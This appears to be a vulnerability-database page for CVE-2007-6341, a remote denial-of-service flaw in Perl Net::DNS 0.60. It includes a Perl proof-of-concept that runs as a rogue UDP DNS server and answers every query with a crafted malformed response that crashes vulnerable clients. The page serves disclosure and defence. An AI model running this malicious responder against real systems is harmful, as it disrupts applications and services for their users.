Perl Net::DNS 0.48/0.59/0.60 - DNS Response Remote Denial of Service
| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
| Vulnerabilities of the Debian GNU/Linux operating system that allow a remote attacker to compromise the accessibility of protected information | 28 Apr 201500:00 | – | bdu_fstec | |
| CVE-2007-6341 | 20 Dec 200723:00 | – | cve | |
| CVE-2007-6341 | 20 Dec 200723:00 | – | cvelist | |
| [SECURITY] [DSA 1515-1] New libnet-dns-perl packages fix several vulnerabilities | 11 Mar 200822:17 | – | debian | |
| CVE-2007-6341 | 20 Dec 200723:00 | – | debiancve | |
| Debian DSA-1515-1 : libnet-dns-perl - several vulnerabilities | 13 Mar 200800:00 | – | nessus | |
| Mandriva Linux Security Advisory : perl-Net-DNS (MDVSA-2008:073) | 23 Apr 200900:00 | – | nessus | |
| Ubuntu 6.06 LTS / 6.10 : libnet-dns-perl vulnerability (USN-594-1) | 28 Mar 200800:00 | – | nessus | |
| CVE-2007-6341 | 20 Dec 200723:46 | – | nvd | |
| Debian: Security Advisory (DSA-1515-1) | 19 Mar 200800:00 | – | openvas |
10
source: https://www.securityfocus.com/bid/26902/info
The Perl Net::DNS module is prone to a remote denial-of-service vulnerability because the module fails to properly handle malformed DNS responses.
Successfully exploiting this issue allows attackers to crash applications that use the affected module.
Net::DNS 0.60 is vulnerable; other versions may also be affected.
#!/usr/bin/perl
# Beyond Security(c)
# Vulnerability found by beSTORM - DNS Server module
use strict;
use IO::Socket;
my($sock, $oldmsg, $newmsg, $hisaddr, $hishost, $MAXLEN, $PORTNO);
$MAXLEN = 1024;
$PORTNO = 5351;
$sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp') or die "socket: $@";
print "Awaiting UDP messages on port $PORTNO\n";
my $oldmsg = "\x5a\x40\x81\x80\x00\x01\x00\x01\x00\x01\x00\x01\x07\x63\x72\x61".
"\x63\x6b\x6d\x65\x0a\x6d\x61\x73\x74\x65\x72\x63\x61\x72\x64\x03".
"\x63\x6f\x6d\x00\x00\x01\x00\x01\x03\x77\x77\x77\x0e\x62\x65\x79".
"\x6f\x6e\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f\x6d\x00".
"\x00\x01\x00\x01\x00\x00\x00\x01\x00\x04\xc0\xa8\x01\x02\x0e\x62".
"\x65\x79\x6f\x6e\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f".
"\x6d\x00\x00\x02\x00\x01\x00\x00\x00\x01\x00\x1b\x02\x6e\x73\x03".
"\x77\x77\x77\x0e\x62\x65\x79\x6f\x6e\x64\x73\x65\x63\x75\x72\x69".
"\x74\x79\x03\x63\x6f\x6d\x00\x02\x6e\x73\x0e\x62\x65\x79\x6f\x6e".
"\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f\x6d\x00\x00\x01".
"\x00\x01\x00\x00\x00\x01\x00\x01\x41";
while ($sock->recv($newmsg, $MAXLEN)) {
my($port, $ipaddr) = sockaddr_in($sock->peername);
$hishost = gethostbyaddr($ipaddr, AF_INET);
print "Client $hishost said ``$newmsg''\n";
$sock->send($oldmsg);
$oldmsg = "[$hishost] $newmsg";
}
die "recv: $!";Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Jan 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.09547